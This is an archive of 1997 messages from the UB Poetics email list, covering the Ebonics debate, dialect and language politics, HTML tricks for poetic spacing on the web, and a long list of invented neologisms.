PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

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185. **michael corbin**
Re: ebonics and ivoronics
Fri 10 Jan 1997

Aldon L. Nielsen wrote:

(snip) . . .

> *she opined that this debate was nonsense and distraction from the real problems of public education --*
>
> *This has not been a debate about how black Americans do things with English words, nor has it been a debate about how to teach black American school children -- It has been a massive public venting of prejudices that BEGINS with the assumption that the people engaging in the debate already know what constitues black English (ebonics/gibberish -- with no spelling out of particulars in either case!)*

Indeed. These comments seem right on. There are many languages and language effects to be read through and into the palmipsest "debate" about ebonics. A couple of observations:

I think the fear of 'state codification' profered by both 'liberal' and 'conservative' glossologists is something of a mauve herring. However, state (de)constructions of both the 'public' and 'education' are central to this speech competence. The post-reagan, neo-liberalism/clintonism has effectively immiserated urban institutions, particularly schools (cf. Jonathan Kozol's _Savage Inequalities_), while simultaneously conjuring the 'problems' of late 20th cent., advance-capitalist amerryca as 'other-ness', in particualre, *blackness*.

I think it important to read ebonics in this new raced state-formation. The language of the 'new-federalism' (state rights, welfare block grants etc.) legislated by both democrats and republicans uses the rhetoric of local empowerment while assuming its irrelevence to change the racial-corporatist status quo. It is not surprising that folks will use various municipal gestures in the coming years (decades?) to assert a degree of self-determination. I think the federal take-over of D.C. public schools, indeed the take-over of D.C. is an exercise in meaning production for the new (world) order policing that 'ebonics' neo-logistically tilts against.

The genuine state-corporate, post-internal-colonial, codified policing of language is conspicuous by its absence in the debate. To wit, the perversities of 'standardized' testing as a measure not only of linguistic competence but as a measure of schools 'productivity' and 'effective-ness'. And I don't mean to be critical of these 'tests' in the that hyper-real debate of whether or not they are 'biased'--of course they are--but rather in the Foucauldian sense of the by now wide-spread internalized desire by both individuals and institutions to *teach the test*: a pedegogy of normalization. The ebonics 'advocates' speak implicitly and explicitly against this juridicial regime.

mc
(new to the list, excuse any unintended redundancy)

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186. **Mark Weiss**
(no subject)
Fri 10 Jan 1997

It seems to me that there are several different issues here:

1) why all the fuss by the honkie press?

2) how do you teach standard English to those who grow up speaking a different dialect?

3) the nature of and reasons for the distinction between language and dialect.

4) the uses of diversity.

5) the ideology expressed by the motion before the school board, which is a different issue than whether or not it's a good idea. And perhaps a hidden agenda on the part of the board.

All of the above have received some attention from the list except 5. The School Board's proposal bears inspection. Languages, they claim, are "genetically based?" This looks like "Black Athena" redivivus. If this were true, there would be substantial grammatical similarities between Ebonics and the street French of Cote Ivoirien kids in Paris, for instance. There's lots of reasons to value and teach any dialect, but it shouldn't be necessary to teach bogus science to justify it. Salary differentials for teachers certified in "the methadology of teaching African Language Systems principles?" Aha! If ebonics is a language its teachers can cash in on some of the bilingual ed money instead of having to fork it over to all those other ethnics.

But let's get real linguistically for the moment. There are versions of European languages that use West African grammatical elements and largely european vocabulary. Gulla, Haitian Creole, the dialect of Bahia in Brazil, _bozal_ in Cuba, etc. None of their grammatical structures resemble what's being taken to be American Black English (hereafter and forever to be known as Ebonics, alas!) as I understand the term. The grammar of Ebonics has, I think, far more to do with archaic English or Apalachian Mountain English than it does with anything coming from Africa. None of which reduces one iota its dignity, beauty, or usefulness as a means of communication or as a tool for teachers. Any more than does the fact that the Oakland board may have been partly motivated by less than noble impulses.

It's not always the codification of the written language that has been the tool of power, by the way. More often, outside of China at least, it's been the codification of the dominant spoken dialect. Franco didn't want Catalans to speak

Catalan even at home, Navajo kids got whipped for speaking Dine, Alsatians in this and the last century had to learn to speak French, then Hoch Deutsch, then French again. And any number of peoples who wrote no language have been forced to speak the master's language. The imposition of a common dialect for written communication is another matter. Journalistic literary Arabic, a case in point, is, I understand, no one's native tongue, although it has certainly come to function as a class marker, as post-Roman latin did until recently in Europe. But it also serves to make communication possible all over the Arab world--there would be no "Arab World" if one dialect had not become hegemonic for that purpose--but it has little effect on how people speak in Sana'a or Marrakesh.

I myself speak Hebronics, which mightily confuses my wife, who speaks Apalachionics. A useful generic term for all dialects that are the result of imperialism might be colonics.

Mark

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187. Dan Raphael Dlugonski

"*post lang theory and who's younger than you*"

Fri 10 Jan 1997

One limit the internet has on work beyond the norm-spectrum is its more difficult to control spacing, or to get yourself a bigger page/width to work with. It's hard enough to deal with magazines with 8&1/2 by 5&1/2 (yes some mags do work closer to full page size, but these are few and a more expensive format to maintain.) what kind of technology (how can electronic media) be used to give a writer a bigger page to display/transmit work on/with (ironically, one of the best methods for sharing a longer lined poem is the old style broadside). shortening our line shortens our breath, shortens our vision/range. in normal pacific northwest style (i'm in portland OR, where are you?)i'm wearing a fraying aqua plaid wool shirt over a lgiht blue tshirt that says "inspired by actual events", blue jeans and american made sneakers.

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188. KENT JOHNSON

Listics

Sat 11 Jan 1997

Miekal And's posting on The Internalational Dictionary of Neologisms, compiled by Xexoxial Editions is wonderful--a wild-minded effort very much in dada spirit. The possibilities for extension seem vast: In fact, couldn't such a dictionary become the evolving archive for a brand new dialect, out of which could arise a whole library of shimmering, hermetic works?

Here's an addition to the IDN I'd like to offer:

melnick *adj* Having, displaying, or marked by the qualities of heroism in language. *v* In circles of poetry, an entering into words that causes one to think and behave in uncommonly incautious ways.

I think this new dialect should be called *listics*.

Kent

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189. Miekal And
H=T=M=L
Sat 11 Jan 1997

Luigi:

What I do for variable spacing, & this is a hack if I ever heard of one, is tiny transparent gifs of different pixel widths. You can easily create a small catalogue of a couple different sizes & paste in the image tags in whatever combination necessary to give you the spacing needed.

The problem with using gif or postcrpt to create a broadside is then your content is neither searchable or hypertextable (actually I suppose you could link graphics, but that feels clunky).

Miekal
Assistant Head NeverMind of the Post-Language Html Writers Guild
--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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190. Miekal And
diss & theory
Sat 11 Jan 1997

<In the present, i find i'm much taken with (well, it's tout neuf to me) this list-writing. no doubt there will be those capable of abstracting theses from it and providing us with provocative books "about", and that will prove one kind of usefulness, but i enjoy it as the melee it is also. i'm glad for the appearance of company--its like new hampshire sans the third dimension. db

After a week scribing a space for myself on the sidelines of this list I have to say that Im generally impressed by the complete absense of typical listserv behaviors like flamewars, name-calling, bombthreats, pointless disputs, lack of self-editing. An impressive well behaved assemblage of speechlings we are here. Also I really like the openposting feeling, that folks are free to publicize readings, publications, research projects whatever. On one other list I was on there was debate that went on for a couple months about codifying subject header tags so such as AD, Comment, etc. Friggin ridiculous.

While Im not capable of participating in the academic headiness that informs some posts, I am prepared to resurrect the ranting spirit of Pound, the breakwater directness of Bern Porter, the deflocculating pompacity of Isidor Isou, & the bum on the beach aesthethics of Harry Kemp. Let the textspirit of the outsiders shine thru the academic gloss.

Miekal who one again is wearing clothes
--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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191. Miekal And
The Internalational Dictionary of Neologisms (long)
Sat 11 Jan 1997

Since 1985 Xexoxial Editions has been collecting neologism thru the various networks. This summer, thanks to the eagle-eye persistence of Autonomedia's Ben Meyers the first edition is almost ready for printing. We will also be posting an updateable online version of the dictionary as well as soon as my html expertise reaches new levels.

Earlier in the week I had mentioned how even tho I couldnt get folks here at Dreamtime to discuss poetics as such, I was continually amazed how inventive & fruitful folks could be with a format like neologisms & especially people who were not poets & writers persay.

Xexoxial will always be thirstily absorbing all possible neologisms & invites Poetix List participants to submit their neologisms for inclusion in the dictionary. Just to provoke & inspire possibilities I include the outtakes from the workshop I did with the Summer School for Designing a Society, directed by one of the grandfathers of computer music, Herbert Brun this last July. Id like to point out

that the majority of participants had no context for these creations other than their imagination.

John Wright
caercifon- ruins of a decaying fortress
preel- cat rubbing against ankles
qweet- surprise meeting someone
skume- damo rubbish found under decaying porches (alt., skooge)
plocaire- one who drops pens into a coffee can
whiloshar- red-gold hair seen in peripheral vision
poont- sigh of an old dog settling down
moome- sound when you are with someone and you don⍰t know who it came from
squatsploitation- media recuperation of squats
ooawh- exhalation under a waterfall

Lyx
blurgraf- an electronic or digital manipulation of the look on the face of a person attempting to define a new word
fnik- the location of that tickly feeling in the nose that makes you want to sneeze but you can⍰t
Klarman- a military position in the Greek-German post wherein a bell is rung continually at a gate for no apparent reason
pulinguise- to surrender by withdrawal

Manni Br⍰n
fatzah-fatzah- to give up on something you are writing, crumple up the paper you are writing it on and throw it away (spoken mainly while crumpling)
glubsh- to swallow down mouthful after mouthful of food with no expression on your face except a vacant stare
quierteln- to quarrel in a petty, niggling way
slibble- a mincing gait and at the same time, dragging your feet

Rishi Zutshi
friedship- a relationship with a friend who likes you but doesn⍰t manifest this when you need someone to
frindship- the state of knowing that a friend likes you, while ignoring any manifestations of their like, and consequently raining loneliness upon yourself
fiendship- the loneliness incurred from firndship

Herbert Br⍰n
raintrumor- neighborly shower disregarding domestic truth

democradvocacy- being for it
selfesteemengin- dynamic upward mobilization
intrancendate- well met though burnt through

Miekal And
agg- the space in the egg not occupied by egg yolf or egg white
gis- but not but
flishbat- the look on people's faces when they're trying to think of a word
Zentility- in the fashion of a previous generation long forgotten
abrabro- pertaining to but not including pertinence
haglet- a child substituted at birth when the original body is not the gender the parents want
futurcog- hysterical intervention in the midst of an already hysterical situation
terdic- the fear of fear's fear

Dan Silver
momute- stop talking down to me
gravitude- thank you of great extreme
tukar- to travel in celebration
laward- when things happen that break the law
slibock- repeat, but make it understandable

Susan Parenti
frk- a relationship to one's pillow
tremm- staring at a child's beauty
schmalch- a fulltime squelcher
schweeps- to quietly avert one's eyes from a woman's hairy armpits
drvvv - to tremblingly feel another person's presence and therefore refuse- to look at them
exciexciexitatable- an escalating state of excitement which forgets its initial cause

Janell Kapoor
copsate- cross between satiate and copulate
soilable- compost material; all things appropriate for composting; organic matter that helps build soil
autodoriac- person who loves to indulge in their own body odors and fluids
shescient- letting people know that you have more informmation than you plan on sharing with them, before you start sharing

Danielle Chynoweth
enundrighted- the condition of not wearing any underwear

quitrn- guilt about feeling guilt
orshew- culturally enforced silence during sex
polyfricatosis- the condition of frequently starting a sentence several times altering the word choice slightly each time
blyzip- a word or short phrase used alone as a reply to alter the direction of a conversation

Ema d□Aite
lominal- (adj.) describes any phenomenon that has changed how you deal with a situation
borma- (noun) a word or short phrase used alone as a reply to alter the direction of a conversation

William Gillespie
schwythisms- an unoriginal utterance which ends an original conversation
sprugth- a quiet autonomy
cat- a hole in the sky from which multicolored flames pour down
pleg- a writing exercise that didn□t do much for you
ur- □I reserve the right to be silent□
pib- a benign flow or lump
stug- a person you hate for no reason you find valid
pfrumpft- the day after you run out of marijuana
amanapique- a revelation which changes one□s entire life for approximately a day
outgrabe- to reach the pinnacle of despair in order to coerce someone (Lewis Carrol)
splasmath- a spectacular vision destined to be appreciated by no one else (ie., a shooting star)
xi- prefix indicating a noun is metaphorical, as in □throwing the xi-baby out with the xi-bathwater□

Mark Enslin
stimp- touching a sore to see if it hurts
embark- preventing a project by fervent discussions of potential objections
explurgitofloxk- a serious, well-modulated filibustering vomit

Eric Hiltner
zeap- almost a sneeze
zobot- zombie robot
teep- anti-tech subversive
pliert- a unit of force when using pliers
bleer- obnoxious and overused stare

peevate- golden showers; to urinate upon another's body
tarom- a place where tarot cards are read
blamot- one who blames him- or herself
kabor- a chipped tooth that's beginning to rot
donter- antiwant

Dylan James
smoople- a friendly exchange unit
pastu- greeting indicating resumption of friendship as if no time has passed
strunth- to fall off a cliiiiiiiiiif
samiss- a flat blue landscape in dream

Loba Chudak
numpfgrumec- greeting one another by tenderly rubbing each other's noses

R'Becca Songbird
shirf- to avoid the eyes of people in an elevator or on a bus
closh- the sound of sinking in mud up to your ankles
haloic- describes the happy state of exhaustion occuring after a day spent naked in sun
lunsequo- the feeling when you can't concentrate on anything because you're sexually attracted to someone in the room

Sigfried Gold
momariant- possessing sublime beauty almost unnoticeable due to its proximity to a more ostentatiously beautiful thing

Maria Silva
straflict- strategies to deal with conflict
guacala!- quick expression to prevent children from getting shocked by sticking things into electrical outlets
chiblusk-- the expression of surprise, fear and uneasiness that North Americans have when Latino/as salute them with a kiss on the cheek

Hannah Dolata
bleent- used to describe love for or between guinea pigs
tuslin- to walk, skip, gallop, sing, oblivious to everyone else
bontulyp- fear of farts
clidnt- the candy that you always eat with your Grandpa

Larry Richards
slumbo- pleasure arising from boredom
slivery- a place for silver-producing materials
forework- rituals prior to work

timeslew- many clocks operating simultaneously, each with different synchronizations
fo - (conj.) not if
tist - (v.) place in the now
(prep.) of the now
ast- (conj.) and it
figgle- to finagle by wiggling
matulate - (v.) to squash under a mat
(n.) a large mat with a handle

Marianne Shaneen
shnorgish- the persistent heaviness when one is unable to come out of a deep sleep
hushush- the often painful feeling of being attached to and surrounded by a dream one has had the previous night
memvation- a continuously present feeling of being inspired by someone that you rarely see

Zon Wakest (8 years old)
fin- the feeling of late at night
ginsoga- not to worry about things
chince- shoes that don't fit
chees- not to be cared for
noox- short for nuclear bombs
naana- banging on the door
lapea- a thing without a name
olixa- dead spirits

Eddie Nix
rhwilord- 1. one who believes she is being repressed; 2. a white coral found between the teeth
fluprinate- to repeat gurgly sounds loudly while others are watching TV
bupliptinome- device for measuring the rhizomatic influence affecting a given society
kraspird- with the consistency of sperm
sbuntip- the series of noises made immediately preceding orgasm
zyntax- a new drug to help bring endings to relationships
expracricupe- 1. to spit out things you have not eaten; 2. to start a car by rubbing melon in the carburator
sunblonp- the tool used by the man in Navajo prophecy who would stop the electricity
fraschish- a future republican state of mind entered into by plugging the penile gland into a toaster

Jonathan Chance yollinupping- hugging stone, trees, water, while yodeling
fromby- 1. memorial staff carved with names in dedication to a friend; 2. love-making position (alt. frombe)

Aaron Loeb
blifter- blanket lifter
blarm- a warm blizzard
crun- crawling to a run

Anon.
flountain- act of water flying from a source into or onto something else
expite- to take away spite
snickle - to laugh/giggle with mal intent
eek- collective or individual I
smec- to commit to a relationship between two or more people
spynd- used to describe a relationship between 2 people where smec is made and kissing occurs but one or more of the people involved is/are not really sure of the future of the relationship

--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
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e-mail for DT & And/Was: [redacted]

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192. KENT JOHNSON
Re: Listics
Sat 11 Jan 1997

Dear Mark:

What do you insinuate or innuate by insinuendo?

Kent

On January 11, Mark Weiss wrote in reply to my message below:

> *How anout "insinuendo?"*

At 02:45 PM 1/11/97 +0600, you wrote:
>Miekal And's posting on The Internalational Dictionary of Neologisms,
>compiled by Xexoxial Editions is wonderful--a wild-minded effort
>very much in dada spirit. The possibilities for extension seem vast:
>In fact, couldn't such a dictionary become the evolving

>archive for a brand new dialect, out of which could arise a whole
>library of shimmering, hermetic works?
>
>Here's an addition to the IDN I'd like to offer:
>
>_melnick_ *adj* Having, displaying, or marked by the qualities of
>heroism in language. *v* In circles of poetry, an entering
>into words that causes one to think and behave in uncommonly
>incautious ways.
>
>I think this new dialect should be called *listics*.
>
>
>Kent
>
>

↑ Index

193. Miekal And
neologism redux
Sat 11 Jan 1997

I forgot to mention that their is a downloadable version of the original hypercard version of the Internalational Dictionary of Neologisms that we distributed in the late 80s before the advent of the web. It is at Marius Watz's Computer Generated Writing Page.
http://www.hok.no/marius/c-g.writing/ It will require Hypercard 1.2 or better to activate. M And
--
@#
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http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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194. Ward Tietz
Romansh & dialects
Sat 11 Jan 1997

Romansh, the Swiss language that's spoken in the canton of Grison, around St. Moritz, has been making somewhat of a comeback in the last few years. I heard

on the news a few days ago that there's now a Romansh newspaper. In setting up the paper they were very particular about not favoring one dialect over another; each edition contains articles written in the language's five idioms.

Ward Tietz

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195. Rachel Loden
Re: True North
Sat 11 Jan 1997

John E. Matthias wrote:

> *Stephanie Strickland's _True North_, the first winner of the Ernest Sandeen Poetry Prize, will be published next week by the University of Notre Dame Press. I think the book will be of great interest to readers on the list.*

[snip]

> *Sections of this book dealing with the life*
> *and physics of Willard Gibbs were chosen by Barbara Guest for the Poetry Society of America's 1996 Alice Fay Di Castagnola Award.*

I've been asked to make a small correction: Barbara Guest saw about half of the entire manuscript, parts of all the sections, not the Willard Gibbs poems in isolation. She chose it as a manuscript-in-progress.

Rachel Loden

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196. Ron Silliman
La Maman et la Putain
Sat 11 Jan 1997

Tom et al,

The entire script (in French) of Jean Eustache's La Manan et la Putain is on the web at:

http://www.worldnet.net.80/~mannoni/putain.html

It's a well done site and I was surprised at how straightforward the French looks (as in "I can almost read that").

Wearing black sweat trousers, a red pseudo "long john shirt" under a deep purple Vanstar sweatshirt, which is what I usually wear in the mornings before I dress for work or whatever. Funky old docker shoes, nice wool sox.

Ron

>Date: Fri, 10 Jan 1997 08:24:31 CST
>From: [redacted]
>Subject: Eustache
>
>I think I looked in the Facets catalogue for Eustache a couple of years
>ago and didn't find anything.
>
>I knew he died young; his other (first) feature was about dropout
>teenagers -- juvenile delinquents! (btw, tell Jesse not to worry abt
>the juice stains). It was good but not preparation for M/W which is
>really an incredible film.
>
>I'll look at the most recent Facets (in DE this weekend) and hope to
>find something.
>
>Tom
>
>
>**********
> Tom Mandel * 2927 Tilden St. NW
> Washington DC 20008 * [redacted]
> vox: [redacted] * fax [redacted]
>**********
>
>

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197. **KENT JOHNSON**

listics

Sat 11 Jan 1997

It seems to me that one of the great things about Mikael And's post on the Internalational Dictionary of Neologisms is that it creates a brand new language-game space: one where signifiers become the willful signified of the dictionary authors' intents. (that signification stuff sounds old-hat--why not invent new words for the whole kittenkabuddle of it). Obviously, a reversal of the dictionay's directions is proposed by Mikael's et.al's project. The possibilities of Mikail's proposal (especially in the hyper-context of this medium) seem exciting to me, but I say this realizing that I may be, as Mark Weiss and Maria Damon seem to imply, innocently insinuating myself into a space where I'm out of place

or over my head? They may well be right, but hail, for waht its worth, to Mikhail and his cabal.

Kent

↑ Index

198. **robert drake**
Re: "post lang theory and who's younger than you"
Sat 11 Jan 1997

---

dan

on the web, the <pre></pre> tags can be used to preserve spacing... the trade-off is, the monospaced fonts most systems have available to to display preformatted text are ugly.

you can also use tables to force text to spread out across the page, by specifying th width... define a single cell table and make it really big...

and ov course you could produce broadsides as graphic files--postscript wd be th most efficient, gifs make for long downloads...

any of these solutions can cause problems on-screen, since it's hard to scan if you have to keep scrolling left & right. sometime the solution is to suggest folks print the page, in landscape mode... but i've seen the limitation used to advantage, w/ really wide graphics laid out in panels (almost like comic strips) which force you to scroll and use the progressive display as a narrative device...

w/ ascii, yr stuck with the convention of indenting the subsequent breaks in a long line, which _should_ be standard enough to avoid confusion... but i still remember the college prof i had who insisted that all the linebreaks in *howl*, as it appeared in the norton anthology, were significant--after all, that was a definitive edition...

lbd

wearing longjohns, black sweatshirt, grey sweatpants, ragwool socks & navy watchcap... baby its cold outside

> *One limit the internet has on work beyond the norm-spectrum is its more difficult to control spacing, or to get yourself a bigger page/width to work with. It's hard enough to deal with magazines with 8&1/2 by 5&1/2 (yes some mags do work closer to full page size, but these are few and a more expensive format to maintain.)*
> *what kind of technology (how can electronic media) be used to give a writer a bigger page to display/transmit work on/with (ironically, one of the best methods for sharing a longer lined poem is the old style broadside).*
> *shortening our line shortens our breath, shortens our vision/range.*
> *in normal pacific northwest style (i'm in portland OR, where are you?)i'm*

> *wearing a fraying aqua plaid wool shirt over a lgiht blue tshirt that says "inspired by actual events", blue jeans and american made sneakers.*

↑ Index

199. Brian McHale
*Re: <*** NO SUBJECT ***>*
Sat 11 Jan 1997

Can't praise enough Mark Weiss's sensible & informed posting on dialects/standards. This reminds us that it's not ALL ideology: somewhere out there are real "facts" of language behavior, & at some point we've got to take our stand on those. Good to be reminded too of how "layered" everyone's language behavior is. "Hebronics" is a funny idea, but not JUST funny, in view of how deep- ly Yiddish colors urban (Eastern mainly?) speech varieties. And not just that of Jews, i.e., it ISN'T "genetic." (Or, in Hebronics: "Genetics it isn't.")

Brian

↑ Index

200. Miekal And
Re: Listics
Sat 11 Jan 1997

One way at Dreamtime that we put neologisms to work is to come up with words for phenomena that have yet to be lexified. One could easily imagine needing words on this PoEtIxZ list for things like:

a voyeuristic facinations with the dress of others

uncodifiable names to poetic movements that are rumoured to exist

the inproportionate ratio of writers to publishers & thus to readers

critical stances that are substantiated by ecologies of language as opposed to academic constructs

professorial authority

the predisposition to forgetting the raw spirit of Logos once a poet becomes tenured, famous or tokenized

the lineage of influences within which the writer places his/her self

books of poetry that have never been opened (C Alexander must have a word for this one)

linguistic phenomena that are synthaethetically beyond words

an easy way to abbreviate L=A=N=G=U=A=G=E

poetries of everyday life

the resolve with which the children of poets decide to become physicans & attorneys

the magnitude to which the proliferation of small press literature will soon exceed the metaphor of the Library of Babel in our lifetime

Miekal

25 below & 2 months till spring & 75 miles from a decent library

--
@#
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201. Charles Bernstein
Recent Publications
Sat 11 Jan 1997

>Also I really like the
>openposting feeling, that folks are free to publicize readings,
>publications, research projects whatever. On one other list I was on
>there was debate that went on for a couple months about codifying
>subject header tags
-- says Miekal And, from the land beyond the universities

Personally, I'm sorry to have missed a months-long discussion of subject header tags, but I'm a fairly dull person, or I have a strange sense of humor, or both.

However, I have noticed all together TOO FEW listings of recent publications by list participants. In fact I have been getting books and magazines published by people on this list without seeing any announcements of them on the list. So perhaps this will prompt more such postings: editors, publishers: please send listings of recent publications including ordering information. Individuals: please send information on any new publications.

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202. Miekal And
Re: Listics
Sat 11 Jan 1997

maria damon wrote:
>
> miekal A, you know i adore you and cherish our collaborations but do i detect a
> needlessly rigid opposition between "creativity" and "professoriality" in the
> post below? should i get prickly or grin and bear it?--your pal, maria professorina

Maria: I think it actually has to do with the Jungian subtext that Miekal in his formative years dropped out of 4 colleges a total of 8 times & is still a freshman, & thus has always been denied the lifelong dream of holding forth in front of subsequent undergrads. Since Im incapable of theoretical rigor, I have to at least be allowed stance & counterpoint.

--
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e-mail for DT & And/Was: [redacted]

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203. Miekal And
Re: H=T=M=L
Sat 11 Jan 1997

Loss Glazier wrote:
>
> For folks who come from a graphics or a typesetting software
> background, HTML is about as imprecise as it gets. Like trying to make
> justified margins with a manual typewriter - and that's not really an
> exaggeration at all.
> But you could "fix" your work. As if you freeze-dried it or placed
> dried flowers in a clear plastic seal. That is, take a picture of it (gif)
> or use a more graphically oriented reader (Adobe Acrobat?).
> One supposes that the technology will advance. But if you think of
> it, it may be the unfixability that makes it workable.

Loss, your point is well taken, it is just this unfixability which creates the textured presence of the web as we know it.

The pages come across
> to so many different machines with so many different parameters maybe in
> large part because the fit is sloppy and it will push, pull and give.

I remember one time that I was driving fork lift in high school & I took my copy of Michael Benedikts Anthology of Prose Poetry to work. I put it to the back seat of the lift & some point during the day its fell into the engine & a whole new reading of these minced & chopped poems was generated.

> *Basically, HTML IS a very primitive markup scheme. And the economic reality is that there hasn't been a motivation for mark-up that has any degree of accuracy. The much-touted HTML+ offers more and we're all grateful for that but realistically it's not a LOT more, wouldn't you agree? I mean, who here has given much thought to SGML (the 'authoritative text' version of HTML) and where will we find the creator of VPML (visual poetry markup language)? (Here I'm only dreaming)*
>
> *If we want such things I think we may have to invent them ourselves. Otherwise ... (You know I always wondered why it wasn't a standard feature of basic word processing programs to type at any angle you wanted.)*

There is a time wise relativity in the evolution of electronic publishing. When I compare the possibilities now with our early days of Xerox Sutra when we did not even own a typewriter & all of our books were "typeset" by getting magazines & cutting & pasting letter by letter, I am quite grateful for such stoneagetronics as html.

--
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e-mail for DT & And/Was: [redacted]

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204. Michael Boughn
clothes
Sat 11 Jan 1997

To hell with a message!

I'm wearing a black tuxedo, satin stripe on the pants, single breasted, three button jacket, pleated white shirt with raised collar and a ring tie with a onyx stud, and a collared vest. The shoes are black wing tips (left over from my wedding). I've accesorized with a silver and black Navajo bracelet and two ear studs--one diamond one onyx.

No joke.

Mike [redacted]

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205. **robert drake**
Re: H=T=M=L
Sat 11 Jan 1997

---

dan wrote:
>One limit the internet has on work beyond the norm-spectrum is its more
>difficult to control spacing, or to get yourself a bigger page/width to work
>with. It's hard enough to deal with magazines with 8&1/2 by 5&1/2 (yes some
>mags do work closer to full page size, but these are few and a more
>expensive format to maintain.)
>what kind of technology (how can electronic media) be used to give a writer
>a bigger page to display/transmit work on/with...

oops, i fergot-- there's also the <nobr></nobr> tag: text between those tags will not word-wrap based on screen width...

> *What I do for variable spacing, & this is a hack if I ever heard of one, is tiny transparent gifs of different pixel widths. You can easily create a small catalogue of a couple different sizes & paste in the image tags in whatever combination necessary to give you the spacing needed.*
>
> *Miekal*

minimally less hacky is the special character " ", non-breaking space, which has the advantage of displaying properly if someone is reading w/ graphics turned off (which some reports claim is up to 50% of folks who have to pay for their connect time)...

lbd

↑ Index

206. **Walter K. Lew**
Re: Gwyn and Mark and Carolyn and Joan
Sat 11 Jan 1997

I half-second Maria on Celan (I wd not want to argue that his achievement was "superior" to Oppen's), but I'm mainly posting this as an opportunity to express my deep gratitude to Pierre Joris for doing such wonderful translations of Celan (as in _Breathturn_ [Sun & Moon Press]): I don't read German and what translations I'd seen before had not convinced me of Celan's greatness, of which I am now thoroughly convinced. I've heard that the next volume of translations is also due out fr Sun & Moon--when can I expect to order it?

Walter K. Lew
c/o Prof/ J. Chang
English Dept.
Boston College
Chestnut Hill, MA 02167

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207. Miekal And
Re: Listics
Sat 11 Jan 1997

This is a multi-part message in MIME format.

> *maria damon wrote:*
>
> *miekal A, you know i adore you and cherish our collaborations but do i detect a*
> *needlessly rigid opposition between "creativity" and "professoriality" in the*
> *post below? should i get prickly or grin and bear it?--your pal, maria professorina*

I was digging thru my archives & thru the wonders of electro 'pataphysics I have rematerialized this very telling photo of Maria Professorina at Age 6. I have attached it as a GIF file, which is viewable with photoshop on the mac & many windows formats. Suitable for framing.

miekal
--
@#
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http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

Content-Description: Adobe Photoshop® 3.0 Document

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----------ad46401675267D--

----------192959364FF8--

↑ Index

208. Miekal And
protolistics
Sat 11 Jan 1997

robert drake wrote:

> *which reminds of another laborer in the neologos fields, ge(of) huth, whose magazine _th subtle journal of raw coinage_ has fr years been devoted to the new word,*

many of Ge(of)'s words are in the dictionary complete with definitions. One other to mention in this vein is Michael Helsem of Dallas, TX who has more than a couple hundred words in the dictionary, each exquisite in their crystalline forms.

humming thusly, miekal

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209. Loss Glazier
Re: H=T=M=L
Sat 11 Jan 1997

For folks who come from a graphics or a typesetting software background, HTML is about as imprecise as it gets. Like trying to make justified margins with a manual typewriter - and that's not really an exaggeration at all.

But you could "fix" your work. As if you freeze-dried it or placed dried flowers in a clear plastic seal. That is, take a picture of it (gif) or use a more graphically oriented reader (Adobe Acrobat?).

One supposes that the technology will advance. But if you think of it, it may be the unfixability that makes it workable. The pages come across to so many different machines with so many different parameters maybe in large part because the fit is sloppy and it will push, pull and give.

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If we want such things I think we may have to invent them ourselves. Otherwise ... (You know I always wondered why it wasn't a standard feature of basic word processing programs to type at any angle you wanted.)

At 01:24 PM 1/11/97 -0500, you wrote:

>dan wrote:
>>One limit the internet has on work beyond the norm-spectrum is its more
>>difficult to control spacing, or to get yourself a bigger page/width to work
>>with. It's hard enough to deal with magazines with 8&1/2 by 5&1/2 (yes
some
>>mags do work closer to full page size, but these are few and a more
>>expensive format to maintain.)
>>what kind of technology (how can electronic media) be used to give a writer
>>a bigger page to display/transmit work on/with...
>
>oops, i fergot-- there's also the <nobr></nobr> tag: text between
>those tags will not word-wrap based on screen width...
>
>
>>What I do for variable spacing, & this is a hack if I ever heard of one,
>>is tiny transparent gifs of different pixel widths. You can easily
>>create a small catalogue of a couple different sizes & paste in the
>>image tags in whatever combination necessary to give you the spacing
>>needed.
>>
>>Miekal
>
>minimally less hacky is the special character " ", non-breaking space,
>which has the advantage of displaying properly if someone is reading w/
>graphics turned off (which some reports claim is up to 50% of folks who
>have to pay for their connect time)...
>
>lbd
>
>

↑ Index

210. **Mark Weiss**
Re: Listics
Sat 11 Jan 1997

How anout "insinuendo?"

At 02:45 PM 1/11/97 +0600, you wrote:
>Miekal And's posting on The Internalational Dictionary of Neologisms,
>compiled by Xexoxial Editions is wonderful--a wild-minded effort
>very much in dada spirit. The possibilities for extension seem vast:
>In fact, couldn't such a dictionary become the evolving

>archive for a brand new dialect, out of which could arise a whole
>library of shimmering, hermetic works?
>
>Here's an addition to the IDN I'd like to offer:
>
>_melnick_ *adj* Having, displaying, or marked by the qualities of
>heroism in language. *v* In circles of poetry, an entering
>into words that causes one to think and behave in uncommonly
>incautious ways.
>
>I think this new dialect should be called *listics*.
>
>
>Kent
>
>

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211. **maria damon**
Re: clothes
Sat 11 Jan 1997

---

woo-woo, as we used to say. what's the occasion?--md

In message <[redacted]> UB Poetics discussion
group writes:
> To hell with a message!
>
> I'm wearing a black tuxedo, satin stripe on the pants, single
> breasted, three button jacket, pleated white shirt with raised collar
> and a ring tie with a onyx stud, and a collared vest. The shoes are
> black wing tips (left over from my wedding). I've accesorized with a
